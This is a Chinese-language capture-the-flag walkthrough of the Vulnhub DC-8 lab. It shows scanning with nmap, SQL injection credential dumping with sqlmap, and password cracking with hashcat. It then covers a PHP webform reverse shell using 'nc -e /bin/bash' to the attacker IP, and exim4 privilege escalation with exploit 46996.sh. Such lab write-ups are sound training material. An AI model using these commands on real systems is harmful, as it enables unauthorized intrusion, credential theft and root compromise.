Vulnhub-DC-8
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-8.zip |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.135
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.135 |
扫描结果如下:系统开放了一个 SSH 服务(22 端口)、一个 HTTP 服务(80 端口)
1 | PORT STATE SERVICE VERSION |
目录扫描
使用 dirsearch 来扫一下目录看看有什么泄露的路径,有个后台登陆页面,需要找到账号密码
漏洞利用
SQL注入
页面发现类似 id 的参数,输入单引号报 sql 语法错误,存在 sql 注入漏洞
使用 sqlmap 爆数据,最终命令如下:
1 | python .\sqlmap.py -u http://192.168.52.135/?nid=3 -D d7db -T users -C name,pass --dump |
密码爆破
拿到两个账号密码,使用 hashcat 爆破明文密码,先在 hashcat wiki 上查一下密码对应的格式编号
得到加密类型编号,将两个 hash 写到 hash.txt,使用 rockyou.txt 字典进行爆破
1 | hashcat -m 7900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --quiet |
爆破拿到一个账号密码 john/turtle,尝试后台登陆,成功登陆
反弹shell
在 Contact Us -> Webform ->Form settings 处可以写入 PHP 代码,写一个执行反弹 shell 命令的 PHP 脚本
1 | system("nc -e /bin/bash 192.168.52.128 2233"); |
该页面是在你提交 Contact Us 信息后返回页面触发的。先在攻击机上开启监听,填写信息后点击提交,触发页面从而拿到反弹回来的 shell
权限提升
拿到 shell 没回显,先用 python 起一个回显的终端
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
web 权限先查找具有 suid 权限的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现有一个 exim4,这是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,先查一下版本,再用 searchsploit 搜一下相关版本的提权漏洞
发现有很多都可以用,我们优先选择 sh 脚本文件可以直接运行,在文件所在用 python 起一个 http 服务让靶机将文件下载下载,靶机赋予权限后按照说明执行即可成功提权
1 | cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh |